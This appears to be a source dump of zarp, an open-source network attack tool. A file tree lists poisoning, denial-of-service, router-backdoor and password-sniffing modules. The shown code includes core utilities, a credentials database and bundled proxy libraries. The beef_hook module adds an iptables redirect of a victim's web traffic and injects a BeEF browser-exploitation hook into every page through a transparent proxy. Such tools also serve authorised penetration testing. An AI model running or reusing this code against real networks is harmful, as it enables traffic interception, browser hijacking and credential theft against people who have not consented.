├── .gitignore ├── CONTRIBUTORS ├── LICENSE ├── README.md ├── clean.sh ├── config ├── replacements └── zarp.conf ├── requirements.txt ├── src ├── __init__.py ├── core │ ├── __init__.py │ ├── colors.py │ ├── config.py │ ├── database.py │ ├── module.py │ ├── parse_cmd.py │ ├── session_manager.py │ ├── stream.py │ ├── util.py │ ├── zcrypto.py │ └── zoption.py ├── lib │ ├── libmproxy │ │ ├── __init__.py │ │ ├── app.py │ │ ├── cmdline.py │ │ ├── console │ │ │ ├── __init__.py │ │ │ ├── common.py │ │ │ ├── contentview.py │ │ │ ├── flowdetailview.py │ │ │ ├── flowlist.py │ │ │ ├── flowview.py │ │ │ ├── grideditor.py │ │ │ ├── help.py │ │ │ └── palettes.py │ │ ├── contrib │ │ │ ├── README │ │ │ ├── __init__.py │ │ │ ├── html2text.py │ │ │ ├── jsbeautifier │ │ │ │ ├── __init__.py │ │ │ │ └── unpackers │ │ │ │ │ ├── README.specs.mkd │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── evalbased.py │ │ │ │ │ ├── javascriptobfuscator.py │ │ │ │ │ ├── myobfuscate.py │ │ │ │ │ ├── packer.py │ │ │ │ │ └── urlencode.py │ │ │ └── pyparsing.py │ │ ├── controller.py │ │ ├── dump.py │ │ ├── encoding.py │ │ ├── filt.py │ │ ├── flow.py │ │ ├── platform │ │ │ ├── __init__.py │ │ │ ├── linux.py │ │ │ ├── osx.py │ │ │ └── pf.py │ │ ├── proxy.py │ │ ├── script.py │ │ ├── tnetstring.py │ │ ├── utils.py │ │ └── version.py │ └── scapy │ │ ├── __init__.py │ │ ├── all.py │ │ ├── ansmachine.py │ │ ├── arch │ │ ├── __init__.py │ │ ├── bsd.py │ │ ├── linux.py │ │ ├── pcapdnet.py │ │ ├── solaris.py │ │ ├── unix.py │ │ └── windows │ │ │ └── __init__.py │ │ ├── as_resolvers.py │ │ ├── asn1 │ │ ├── __init__.py │ │ ├── asn1.py │ │ ├── ber.py │ │ └── mib.py │ │ ├── asn1fields.py │ │ ├── asn1packet.py │ │ ├── automaton.py │ │ ├── autorun.py │ │ ├── base_classes.py │ │ ├── config.py │ │ ├── crypto │ │ ├── __init__.py │ │ └── cert.py │ │ ├── dadict.py │ │ ├── data.py │ │ ├── error.py │ │ ├── fields.py │ │ ├── layers │ │ ├── __init__.py │ │ ├── all.py │ │ ├── bluetooth.py │ │ ├── dhcp.py │ │ ├── dhcp6.py │ │ ├── dns.py │ │ ├── dot11.py │ │ ├── gprs.py │ │ ├── hsrp.py │ │ ├── inet.py │ │ ├── inet6.py │ │ ├── ir.py │ │ ├── isakmp.py │ │ ├── l2.py │ │ ├── l2tp.py │ │ ├── llmnr.py │ │ ├── mgcp.py │ │ ├── mobileip.py │ │ ├── netbios.py │ │ ├── netflow.py │ │ ├── ntp.py │ │ ├── pflog.py │ │ ├── ppp.py │ │ ├── radius.py │ │ ├── rip.py │ │ ├── rtp.py │ │ ├── sctp.py │ │ ├── sebek.py │ │ ├── skinny.py │ │ ├── smb.py │ │ ├── snmp.py │ │ ├── tftp.py │ │ └── x509.py │ │ ├── main.py │ │ ├── modules │ │ ├── __init__.py │ │ ├── geoip.py │ │ ├── nmap.py │ │ ├── p0f.py │ │ ├── queso.py │ │ └── voip.py │ │ ├── packet.py │ │ ├── plist.py │ │ ├── pton_ntop.py │ │ ├── route.py │ │ ├── route6.py │ │ ├── sendrecv.py │ │ ├── sendrecv_backup.py │ │ ├── supersocket.py │ │ ├── themes.py │ │ ├── tools │ │ ├── UTscapy.py │ │ ├── __init__.py │ │ └── check_asdis.py │ │ ├── utils.py │ │ ├── utils6.py │ │ └── volatile.py └── modules │ ├── __init__.py │ ├── attacks │ ├── __init__.py │ ├── attack.py │ ├── beef_hook.py │ ├── pemod.py │ ├── redirect_port.py │ └── replacer.py │ ├── dos │ ├── __init__.py │ ├── dhcp_starvation.py │ ├── dos.py │ ├── igmp_nix.py │ ├── land_dos.py │ ├── ndp_dos.py │ ├── nestea_dos.py │ ├── nud.py │ ├── smb2_dos.py │ └── tcp_syn.py │ ├── parameter │ ├── __init__.py │ ├── ap_crack.py │ ├── parameter.py │ ├── router_pwn.py │ ├── routers │ │ ├── __init__.py │ │ ├── asus │ │ │ ├── __init__.py │ │ │ └── rt56u_change_admin.py │ │ ├── cisco │ │ │ ├── __init__.py │ │ │ ├── ios_full_admin.py │ │ │ └── kits_dtraverse.py │ │ ├── default_passwords.py │ │ ├── dlink │ │ │ ├── __init__.py │ │ │ ├── add_admin_300.py │ │ │ ├── add_admin_605.py │ │ │ ├── backdoor_250n.py │ │ │ ├── change_admin_1310.py │ │ │ ├── change_admin_2640.py │ │ │ └── get_config_320b.py │ │ ├── linksys │ │ │ ├── __init__.py │ │ │ ├── wag54gs_change_admin.py │ │ │ ├── wap610n_dump.py │ │ │ └── wrt54g_reset_admin.py │ │ ├── netgear │ │ │ ├── __init__.py │ │ │ ├── wnr2000_get_pass.py │ │ │ └── wpn824v3_get_config.py │ │ ├── rosewill │ │ │ ├── __init__.py │ │ │ └── rsva_backdoor.py │ │ ├── router_vuln.py │ │ └── zoom │ │ │ ├── __init__.py │ │ │ └── x4_5_mod_password.py │ ├── slarpc.py │ ├── slarpd.py │ ├── switchover.py │ └── wifite.py │ ├── poison │ ├── __init__.py │ ├── arp.py │ ├── dhcp.py │ ├── dns.py │ ├── icmp.py │ ├── llmnr.py │ ├── nbns.py │ └── poison.py │ ├── scanner │ ├── __init__.py │ ├── ap_scan.py │ ├── net_map.py │ ├── passive_scan.py │ ├── scanner.py │ └── service_scan.py │ ├── services │ ├── __init__.py │ ├── access_point.py │ ├── ftp.py │ ├── http.py │ ├── service.py │ ├── smb.py │ ├── ssh.py │ ├── stubssh.py │ └── telnet.py │ └── sniffer │ ├── __init__.py │ ├── database_sniffer.py │ ├── http_sniffer.py │ ├── parser_mysql.py │ ├── parser_postgres.py │ ├── password_parser.py │ ├── password_sniffer.py │ ├── sniffer.py │ └── traffic_sniffer.py └── zarp.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore compiled python files 2 | *.py[cod] 3 | -------------------------------------------------------------------------------- /CONTRIBUTORS: -------------------------------------------------------------------------------- 1 | Thanks to the following users for their contributions to zarp 2 | ============================================================== 3 | NullMode 4 | z4ck 5 | bwall 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | ZARP NETWORK ATTACK TOOL 2 | Copyright (C) 2012 - 2014 drone 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU General Public License for more details. 13 | 14 | You should have received a copy of the GNU General Public License 15 | along with this program. If not, see . 16 | -------------------------------------------------------------------------------- /clean.sh: -------------------------------------------------------------------------------- 1 | # clean my directories; prevent accidental rm -f *.py 2 | find ./ -iname *.pyc -exec rm -f '{}' ';' 3 | rm -f ./zarp_debug.log 4 | -------------------------------------------------------------------------------- /config/replacements: -------------------------------------------------------------------------------- 1 | # 2 | # zarp's match and replace config file for the Replacer 3 | # module. Entries should be listed in the following form: 4 | # 5 | # match = match replace 6 | # 7 | # This module supports two different match forms; regex and HTML tags. In 8 | # the first case, anything that re.sub accepts, this will accept. In the 9 | # latter case, tags can be specified in the following: 10 | # 11 | # 2 img src = http://google.com 12 | # 13 | # This will parse each img tag and replace the src with http://google.com. To 14 | # distinguish between the two types, 1 should be prefixed to regex entries, and 15 | # 2 should be prefixed to HTML tags. 16 | # 17 | # Several test entries have been listed here. The regex isnt perfect because regex 18 | # with HTML is a monster. 19 | # 20 | 21 | # match img tags and replace the src with rick astley 22 | #1 (?<= 0: 119 | source_idx = source_idx[0][0] 120 | else: 121 | dbhost(None, source, None) 122 | source_idx = None 123 | 124 | return insert('INSERT INTO credentials VALUES (?,?,?,?,?)', 125 | (username, password, location, source_idx, _timestamp())) 126 | 127 | def dbhost(mac, ip, hostname): 128 | """ insert basic host information into the database 129 | """ 130 | source_idx = None 131 | while source_idx is None: 132 | source_idx = fetch('SELECT ROWID FROM host WHERE ip = ?', (ip,)) 133 | if len(source_idx) > 0: 134 | # the host is already in the database; update the mac/hostname 135 | insert('UPDATE host SET mac = ?, hostname = ? WHERE ip = ?', 136 | (mac, hostname)) 137 | source_idx = None 138 | else: 139 | source_idx = insert('INSERT INTO host VALUES (?,?,?);', (mac, ip, hostname)) 140 | return source_idx 141 | -------------------------------------------------------------------------------- /src/core/parse_cmd.py: -------------------------------------------------------------------------------- 1 | from stream import handle_opts 2 | import sys 3 | import argparse 4 | import util 5 | 6 | from scapy.all import * 7 | from scapy.error import Scapy_Exception 8 | 9 | 10 | def parse(sysv, loader): 11 | """ Modules can set their own CLI options. Right now we only 12 | load services and scanners, as these represent a majority of 13 | the 'typical' use case for something you want to pull off quickly. 14 | 15 | loader is a Loader object with all loaded modules. 16 | """ 17 | parser = argparse.ArgumentParser(description=util.header()) 18 | 19 | # add standard options 20 | parser.add_argument('-q', help='Generic network sniff', action='store', 21 | dest='filter') 22 | parser.add_argument('--update', help='Update Zarp', action='store_true', 23 | default=False, dest='update') 24 | 25 | service_group = parser.add_argument_group('Services') 26 | scanner_group = parser.add_argument_group('Scanners') 27 | 28 | # iterate through loaded modules and build the argument parser 29 | for service in loader.services: 30 | if hasattr(service, 'cli'): 31 | service().cli(service_group) 32 | 33 | for scanner in loader.scanner: 34 | if hasattr(scanner, 'cli'): 35 | scanner().cli(scanner_group) 36 | 37 | options = parser.parse_args() 38 | option_dict = options.__dict__ 39 | 40 | # first handle standard options 41 | if options.filter: 42 | util.Msg("Sniffing with filter [%s]...(ctrl^c to exit)" % 43 | options.filter) 44 | try: 45 | sniff(filter=options.filter, store=0, prn=lambda x: x.summary()) 46 | except Exception: 47 | util.Msg("Exiting sniffer..") 48 | except Scapy_Exception as msg: 49 | util.Error(msg) 50 | sys.exit(1) 51 | elif options.update: 52 | update() 53 | sys.exit(1) 54 | 55 | # we can only launch one module at a time, so grab the first 56 | usr_mod = [x for x in option_dict.keys() if option_dict[x] is True][0] 57 | 58 | # see what it is 59 | if usr_mod in [x().which for x in loader.services]: 60 | module = [x for x in loader.services if x().which == usr_mod][0]() 61 | util.Msg('Starting %s...' % module.which) 62 | module.dump_data = True 63 | module.initialize() 64 | elif usr_mod in [x().which for x in loader.scanner]: 65 | module = [x for x in loader.scanner if x().which == usr_mod][0]() 66 | if module and handle_opts(module): 67 | module.initialize() 68 | sys.exit(1) 69 | 70 | 71 | def update(): 72 | """Run update routine 73 | """ 74 | if not util.does_file_exist('./.git/config'): 75 | util.Error('Not a git repo; please checkout from Github with \n\t' 76 | 'git clone http://github.com/hatRiot/zarp.git\n to update.') 77 | else: 78 | util.Msg('Updating Zarp...') 79 | ret = util.init_app('git branch -a | grep \'* dev\'', True) 80 | if len(ret) > 3: 81 | util.Error('You appear to be on the dev branch.' 82 | 'Please switch off dev to update.') 83 | return 84 | 85 | ret = util.init_app('git pull git://github.com/hatRiot/zarp.git HEAD') 86 | if 'Already up-to-date' in ret: 87 | util.Msg('Zarp already up to date.') 88 | elif 'fatal' in ret: 89 | util.Error('Error updating Zarp: %s' % ret) 90 | else: 91 | from util import version 92 | util.Msg('Zarp updated to version %s' % (version())) 93 | -------------------------------------------------------------------------------- /src/core/session_manager.py: -------------------------------------------------------------------------------- 1 | import stream 2 | import util 3 | from colors import color 4 | from os import system 5 | from os import path 6 | 7 | # 8 | # Module provides the front end for interacting with sessions 9 | # 10 | 11 | session_menu = ['Stop session', 'View session', 'Start session logger', 12 | 'Stop session logger'] 13 | 14 | 15 | def menu(): 16 | """Driver for the session management menu 17 | """ 18 | while True: 19 | stream.dump_sessions() 20 | choice = util.print_menu(session_menu) 21 | 22 | if choice == 0: 23 | break 24 | elif choice == 1: 25 | (module, number) = stream.get_session_input() 26 | if not module is None: 27 | stream.stop_session(module, number) 28 | elif choice == 2: 29 | (module, number) = stream.get_session_input() 30 | if not module is None: 31 | stream.view_session(module, number) 32 | elif choice == 3: 33 | try: 34 | display = color.B_YELLOW + '[' + color.B_GREEN + '!' + color.B_YELLOW + \ 35 | '] Enter file to log to' + color.B_WHITE + ' > ' + color.END 36 | file_path = raw_input(display) 37 | if file_path is None: 38 | return 39 | if util.does_file_exist(file_path) or path.islink(file_path): 40 | util.Error('File already exists.') 41 | return 42 | (module, number) = stream.get_session_input() 43 | if not module is None: 44 | display = color.B_YELLOW + '[' + color.B_GREEN + '!' + color.B_YELLOW + \ 45 | '] Log output from %s session %s to %s. Is this correct? ' + \ 46 | color.B_GREEN + '[' + color.B_YELLOW + 'Y' + color.B_GREEN + \ 47 | '/' + color.B_YELLOW + 'n' + color.B_GREEN + '] ' + \ 48 | color.B_WHITE + '> ' + color.END 49 | tmp = raw_input(display % (module, number, file_path)) 50 | if 'n' in tmp.lower(): 51 | return 52 | stream.toggle_log(module, number, file_path, True) 53 | except KeyboardInterrupt: 54 | return 55 | except Exception: 56 | util.Error('Error logging to given file') 57 | return 58 | elif choice == 4: 59 | (module, number) = stream.get_session_input() 60 | if not module is None: 61 | stream.toggle_log(module, number) 62 | elif choice == -1: 63 | pass 64 | else: 65 | system('clear') 66 | -------------------------------------------------------------------------------- /src/core/zoption.py: -------------------------------------------------------------------------------- 1 | from util import eval_type 2 | 3 | 4 | class Zoption: 5 | """ generic option class for managing and validating 6 | zarp options. 7 | """ 8 | 9 | def __init__(self, value=None, type=None, required=False, display=None, opts=None): 10 | self.value = value 11 | if isinstance(type, basestring): 12 | self.types = [type] 13 | self.type = type 14 | else: 15 | self.types = type 16 | self.type = None 17 | self.required = required 18 | self.display = display 19 | self.opts = opts 20 | 21 | def getStr(self): 22 | """ Some objects don't have a __str__ method (regex), 23 | so we'll need to return the string representation 24 | of the object. 25 | """ 26 | if self.value is None: 27 | return None 28 | elif self.type == "regex": 29 | return self.value.pattern 30 | elif self.type == 'list': 31 | return '[list]' 32 | else: 33 | return str(self.value) 34 | 35 | def validate(self): 36 | """ Validates the object's value to ensure it conforms 37 | to whatever type the object dictates. 38 | """ 39 | for t in self.types: 40 | rvals = eval_type(self.value, t) 41 | if rvals[0]: 42 | self.value = rvals[1] 43 | self.type = t 44 | return True 45 | return False -------------------------------------------------------------------------------- /src/lib/libmproxy/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hatRiot/zarp/5f19d83b45e3b6766844d5ffe7ef38122dc3fef6/src/lib/libmproxy/__init__.py -------------------------------------------------------------------------------- /src/lib/libmproxy/app.py: -------------------------------------------------------------------------------- 1 | import flask 2 | 3 | mapp = flask.Flask(__name__) 4 | 5 | @mapp.route("/") 6 | def hello(): 7 | return "mitmproxy" 8 | -------------------------------------------------------------------------------- /src/lib/libmproxy/console/flowdetailview.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2012 Aldo Cortesi 2 | # 3 | # This program is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program. If not, see . 15 | 16 | import urwid 17 | import common 18 | 19 | footer = [ 20 | ('heading_key', "q"), ":back ", 21 | ] 22 | 23 | class FlowDetailsView(urwid.ListBox): 24 | def __init__(self, master, flow, state): 25 | self.master, self.flow, self.state = master, flow, state 26 | urwid.ListBox.__init__( 27 | self, 28 | self.flowtext() 29 | ) 30 | 31 | def keypress(self, size, key): 32 | key = common.shortcuts(key) 33 | if key == "q": 34 | self.master.statusbar = self.state[0] 35 | self.master.body = self.state[1] 36 | self.master.header = self.state[2] 37 | self.master.make_view() 38 | return None 39 | elif key == "?": 40 | key = None 41 | return urwid.ListBox.keypress(self, size, key) 42 | 43 | def flowtext(self): 44 | text = [] 45 | 46 | title = urwid.Text("Flow details") 47 | title = urwid.Padding(title, align="left", width=("relative", 100)) 48 | title = urwid.AttrWrap(title, "heading") 49 | text.append(title) 50 | 51 | if self.flow.response: 52 | c = self.flow.response.cert 53 | if c: 54 | text.append(urwid.Text([("head", "Server Certificate:")])) 55 | parts = [ 56 | ["Type", "%s, %s bits"%c.keyinfo], 57 | ["SHA1 digest", c.digest("sha1")], 58 | ["Valid to", str(c.notafter)], 59 | ["Valid from", str(c.notbefore)], 60 | ["Serial", str(c.serial)], 61 | ] 62 | 63 | parts.append( 64 | [ 65 | "Subject", 66 | urwid.BoxAdapter( 67 | urwid.ListBox(common.format_keyvals(c.subject, key="highlight", val="text")), 68 | len(c.subject) 69 | ) 70 | ] 71 | ) 72 | 73 | parts.append( 74 | [ 75 | "Issuer", 76 | urwid.BoxAdapter( 77 | urwid.ListBox(common.format_keyvals(c.issuer, key="highlight", val="text")), 78 | len(c.issuer) 79 | ) 80 | ] 81 | ) 82 | 83 | if c.altnames: 84 | parts.append( 85 | [ 86 | "Alt names", 87 | ", ".join(c.altnames) 88 | ] 89 | ) 90 | text.extend(common.format_keyvals(parts, key="key", val="text", indent=4)) 91 | 92 | if self.flow.request.client_conn: 93 | text.append(urwid.Text([("head", "Client Connection:")])) 94 | cc = self.flow.request.client_conn 95 | parts = [ 96 | ["Address", "%s:%s"%tuple(cc.address)], 97 | ["Requests", "%s"%cc.requestcount], 98 | ["Closed", "%s"%cc.close], 99 | ] 100 | text.extend(common.format_keyvals(parts, key="key", val="text", indent=4)) 101 | 102 | return text 103 | -------------------------------------------------------------------------------- /src/lib/libmproxy/contrib/README: -------------------------------------------------------------------------------- 1 | 2 | Contribs: 3 | 4 | 5 | pyparsing 1.5.2, MIT license 6 | 7 | jsbeautifier, git checkout 25/03/12, MIT license 8 | - Removed test directories 9 | - Disabled packers through a single-line modification (see "# CORTESI" 10 | comment) 11 | 12 | html2text, git checkout 18/08/12, GPLv3 13 | 14 | md5crypt, PSF license, http://code.activestate.com/recipes/325204/ 15 | 16 | -------------------------------------------------------------------------------- /src/lib/libmproxy/contrib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hatRiot/zarp/5f19d83b45e3b6766844d5ffe7ef38122dc3fef6/src/lib/libmproxy/contrib/__init__.py -------------------------------------------------------------------------------- /src/lib/libmproxy/contrib/jsbeautifier/unpackers/README.specs.mkd: -------------------------------------------------------------------------------- 1 | # UNPACKERS SPECIFICATIONS 2 | 3 | Nothing very difficult: an unpacker is a submodule placed in the directory 4 | where this file was found. Each unpacker must define three symbols: 5 | 6 | * `PRIORITY` : integer number expressing the priority in applying this 7 | unpacker. Lower number means higher priority. 8 | Makes sense only if a source file has been packed with 9 | more than one packer. 10 | * `detect(source)` : returns `True` if source is packed, otherwise, `False`. 11 | * `unpack(source)` : takes a `source` string and unpacks it. Must always return 12 | valid JavaScript. That is to say, your code should look 13 | like: 14 | 15 | ``` 16 | if detect(source): 17 | return do_your_fancy_things_with(source) 18 | else: 19 | return source 20 | ``` 21 | 22 | *You can safely define any other symbol in your module, as it will be ignored.* 23 | 24 | `__init__` code will automatically load new unpackers, without any further step 25 | to be accomplished. Simply drop it in this directory. 26 | -------------------------------------------------------------------------------- /src/lib/libmproxy/contrib/jsbeautifier/unpackers/__init__.py: -------------------------------------------------------------------------------- 1 | # 2 | # General code for JSBeautifier unpackers infrastructure. See README.specs 3 | # written by Stefano Sanfilippo 4 | # 5 | 6 | """General code for JSBeautifier unpackers infrastructure.""" 7 | 8 | import pkgutil 9 | import re 10 | from jsbeautifier.unpackers import evalbased 11 | 12 | # NOTE: AT THE MOMENT, IT IS DEACTIVATED FOR YOUR SECURITY: it runs js! 13 | BLACKLIST = ['jsbeautifier.unpackers.evalbased'] 14 | 15 | class UnpackingError(Exception): 16 | """Badly packed source or general error. Argument is a 17 | meaningful description.""" 18 | pass 19 | 20 | def getunpackers(): 21 | """Scans the unpackers dir, finds unpackers and add them to UNPACKERS list. 22 | An unpacker will be loaded only if it is a valid python module (name must 23 | adhere to naming conventions) and it is not blacklisted (i.e. inserted 24 | into BLACKLIST.""" 25 | path = __path__ 26 | prefix = __name__ + '.' 27 | unpackers = [] 28 | interface = ['unpack', 'detect', 'PRIORITY'] 29 | for _importer, modname, _ispkg in pkgutil.iter_modules(path, prefix): 30 | if 'tests' not in modname and modname not in BLACKLIST: 31 | try: 32 | module = __import__(modname, fromlist=interface) 33 | except ImportError: 34 | raise UnpackingError('Bad unpacker: %s' % modname) 35 | else: 36 | unpackers.append(module) 37 | 38 | return sorted(unpackers, key = lambda mod: mod.PRIORITY) 39 | 40 | UNPACKERS = getunpackers() 41 | 42 | def run(source, evalcode=False): 43 | """Runs the applicable unpackers and return unpacked source as a string.""" 44 | for unpacker in [mod for mod in UNPACKERS if mod.detect(source)]: 45 | source = unpacker.unpack(source) 46 | if evalcode and evalbased.detect(source): 47 | source = evalbased.unpack(source) 48 | return source 49 | 50 | def filtercomments(source): 51 | """NOT USED: strips trailing comments and put them at the top.""" 52 | trailing_comments = [] 53 | comment = True 54 | 55 | while comment: 56 | if re.search(r'^\s*\/\*', source): 57 | comment = source[0, source.index('*/') + 2] 58 | elif re.search(r'^\s*\/\/', source): 59 | comment = re.search(r'^\s*\/\/', source).group(0) 60 | else: 61 | comment = None 62 | 63 | if comment: 64 | source = re.sub(r'^\s+', '', source[len(comment):]) 65 | trailing_comments.append(comment) 66 | 67 | return '\n'.join(trailing_comments) + source 68 | -------------------------------------------------------------------------------- /src/lib/libmproxy/contrib/jsbeautifier/unpackers/evalbased.py: -------------------------------------------------------------------------------- 1 | # 2 | # Unpacker for eval() based packers, a part of javascript beautifier 3 | # by Einar Lielmanis 4 | # 5 | # written by Stefano Sanfilippo 6 | # 7 | # usage: 8 | # 9 | # if detect(some_string): 10 | # unpacked = unpack(some_string) 11 | # 12 | 13 | """Unpacker for eval() based packers: runs JS code and returns result. 14 | Works only if a JS interpreter (e.g. Mozilla's Rhino) is installed and 15 | properly set up on host.""" 16 | 17 | from subprocess import PIPE, Popen 18 | 19 | PRIORITY = 3 20 | 21 | def detect(source): 22 | """Detects if source is likely to be eval() packed.""" 23 | return source.strip().lower().startswith('eval(function(') 24 | 25 | def unpack(source): 26 | """Runs source and return resulting code.""" 27 | return jseval('print %s;' % source[4:]) if detect(source) else source 28 | 29 | # In case of failure, we'll just return the original, without crashing on user. 30 | def jseval(script): 31 | """Run code in the JS interpreter and return output.""" 32 | try: 33 | interpreter = Popen(['js'], stdin=PIPE, stdout=PIPE) 34 | except OSError: 35 | return script 36 | result, errors = interpreter.communicate(script) 37 | if interpreter.poll() or errors: 38 | return script 39 | return result 40 | -------------------------------------------------------------------------------- /src/lib/libmproxy/contrib/jsbeautifier/unpackers/javascriptobfuscator.py: -------------------------------------------------------------------------------- 1 | # 2 | # simple unpacker/deobfuscator for scripts messed up with 3 | # javascriptobfuscator.com 4 | # 5 | # written by Einar Lielmanis 6 | # rewritten in Python by Stefano Sanfilippo 7 | # 8 | # Will always return valid javascript: if `detect()` is false, `code` is 9 | # returned, unmodified. 10 | # 11 | # usage: 12 | # 13 | # if javascriptobfuscator.detect(some_string): 14 | # some_string = javascriptobfuscator.unpack(some_string) 15 | # 16 | 17 | """deobfuscator for scripts messed up with JavascriptObfuscator.com""" 18 | 19 | import re 20 | 21 | PRIORITY = 1 22 | 23 | def smartsplit(code): 24 | """Split `code` at " symbol, only if it is not escaped.""" 25 | strings = [] 26 | pos = 0 27 | while pos < len(code): 28 | if code[pos] == '"': 29 | word = '' # new word 30 | pos += 1 31 | while pos < len(code): 32 | if code[pos] == '"': 33 | break 34 | if code[pos] == '\\': 35 | word += '\\' 36 | pos += 1 37 | word += code[pos] 38 | pos += 1 39 | strings.append('"%s"' % word) 40 | pos += 1 41 | return strings 42 | 43 | def detect(code): 44 | """Detects if `code` is JavascriptObfuscator.com packed.""" 45 | # prefer `is not` idiom, so that a true boolean is returned 46 | return (re.search(r'^var _0x[a-f0-9]+ ?\= ?\[', code) is not None) 47 | 48 | def unpack(code): 49 | """Unpacks JavascriptObfuscator.com packed code.""" 50 | if detect(code): 51 | matches = re.search(r'var (_0x[a-f\d]+) ?\= ?\[(.*?)\];', code) 52 | if matches: 53 | variable = matches.group(1) 54 | dictionary = smartsplit(matches.group(2)) 55 | code = code[len(matches.group(0)):] 56 | for key, value in enumerate(dictionary): 57 | code = code.replace(r'%s[%s]' % (variable, key), value) 58 | return code 59 | -------------------------------------------------------------------------------- /src/lib/libmproxy/contrib/jsbeautifier/unpackers/myobfuscate.py: -------------------------------------------------------------------------------- 1 | # 2 | # deobfuscator for scripts messed up with myobfuscate.com 3 | # by Einar Lielmanis 4 | # 5 | # written by Stefano Sanfilippo 6 | # 7 | # usage: 8 | # 9 | # if detect(some_string): 10 | # unpacked = unpack(some_string) 11 | # 12 | 13 | # CAVEAT by Einar Lielmanis 14 | 15 | # 16 | # You really don't want to obfuscate your scripts there: they're tracking 17 | # your unpackings, your script gets turned into something like this, 18 | # as of 2011-08-26: 19 | # 20 | # var _escape = 'your_script_escaped'; 21 | # var _111 = document.createElement('script'); 22 | # _111.src = 'http://api.www.myobfuscate.com/?getsrc=ok' + 23 | # '&ref=' + encodeURIComponent(document.referrer) + 24 | # '&url=' + encodeURIComponent(document.URL); 25 | # var 000 = document.getElementsByTagName('head')[0]; 26 | # 000.appendChild(_111); 27 | # document.write(unescape(_escape)); 28 | # 29 | 30 | """Deobfuscator for scripts messed up with MyObfuscate.com""" 31 | 32 | import re 33 | import base64 34 | 35 | # Python 2 retrocompatibility 36 | # pylint: disable=F0401 37 | # pylint: disable=E0611 38 | try: 39 | from urllib import unquote 40 | except ImportError: 41 | from urllib.parse import unquote 42 | 43 | from jsbeautifier.unpackers import UnpackingError 44 | 45 | PRIORITY = 1 46 | 47 | CAVEAT = """// 48 | // Unpacker warning: be careful when using myobfuscate.com for your projects: 49 | // scripts obfuscated by the free online version call back home. 50 | // 51 | 52 | """ 53 | 54 | SIGNATURE = (r'["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F' 55 | r'\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5A\x61\x62\x63\x64\x65' 56 | r'\x66\x67\x68\x69\x6A\x6B\x6C\x6D\x6E\x6F\x70\x71\x72\x73\x74\x75' 57 | r'\x76\x77\x78\x79\x7A\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2B' 58 | r'\x2F\x3D","","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78' 59 | r'\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","' 60 | r'\x6C\x65\x6E\x67\x74\x68"]') 61 | 62 | def detect(source): 63 | """Detects MyObfuscate.com packer.""" 64 | return SIGNATURE in source 65 | 66 | def unpack(source): 67 | """Unpacks js code packed with MyObfuscate.com""" 68 | if not detect(source): 69 | return source 70 | payload = unquote(_filter(source)) 71 | match = re.search(r"^var _escape\='" 17 | self.iptable_http = "iptables -t nat -A PREROUTING -p tcp --dport 80 -s {0} -j REDIRECT --to-port 5544" 18 | self.config.update({"hook_path":Zoption(type = "str", 19 | value = None, 20 | required = True, 21 | display = "Path to BeEF hook"), 22 | "hooked_host": Zoption(type = "ip", 23 | value = None, 24 | required = True, 25 | display = "Host to hook") 26 | }) 27 | self.info = """ 28 | BeEF (Browser Exploitation Framework) is a tool used in 29 | the exploitation of browsers. This module serves as a 30 | way to hook any browser without the need for an XSS 31 | or other malicious client-facing vector. Instead, 32 | when an attacker is local to a victim, this module 33 | will inject each page with a hook. 34 | 35 | ARP poisoning the victim is suggested, as traffic from 36 | the victim is required.""" 37 | 38 | def modip_rule(self, enable=True): 39 | """ enables or disables the iptable rule for forwarding traffic locally 40 | """ 41 | if enable: 42 | util.init_app(self.iptable_http.format 43 | (self.config['hooked_host'].value)) 44 | else: 45 | util.init_app(self.iptable_http.replace('-A', '-D').format 46 | (self.config['hooked_host'].value)) 47 | 48 | def initialize(self): 49 | self.hook_script = self.hook_script.format(self.config['hook_path'].value) 50 | self.modip_rule() 51 | 52 | self.running = True 53 | config = proxy.ProxyConfig(transparent_proxy=dict( 54 | resolver = platform.resolver(), 55 | sslports = [443]) 56 | ) 57 | 58 | config.skip_cert_cleanup = True 59 | self.proxy_server = proxy.ProxyServer(config, 5544) 60 | self.hooker = Hooker(self.proxy_server, self.hook_script) 61 | 62 | util.Msg('Firing up BeEF hook...') 63 | thread = Thread(target=self.hooker.run) 64 | thread.start() 65 | 66 | return True 67 | 68 | def shutdown(self): 69 | """ Disable the iptable rule and kill the proxy server 70 | """ 71 | util.Msg("Shutting down BeEF hooks...") 72 | self.modip_rule(False) 73 | self.proxy_server.shutdown() 74 | self.hooker.shutdown() 75 | 76 | def session_view(self): 77 | """ Return the host we're hooking 78 | """ 79 | return self.config['hooked_host'].value 80 | 81 | 82 | class Hooker(controller.Master): 83 | """ Request handler for libmproxy; takes care of our 84 | replaces. 85 | """ 86 | def __init__(self, server, script_hook): 87 | controller.Master.__init__(self, server) 88 | self.script_hook = script_hook 89 | 90 | def run(self): 91 | try: 92 | return controller.Master.run(self) 93 | except: 94 | self.shutdown() 95 | 96 | def handle_response(self, msg): 97 | """ Replace an end tag with the hook; every HTTP page 98 | should have this. 99 | """ 100 | msg.replace("", "{0}".format(self.script_hook)) 101 | msg.replace("", "{0}".format(self.script_hook)) 102 | 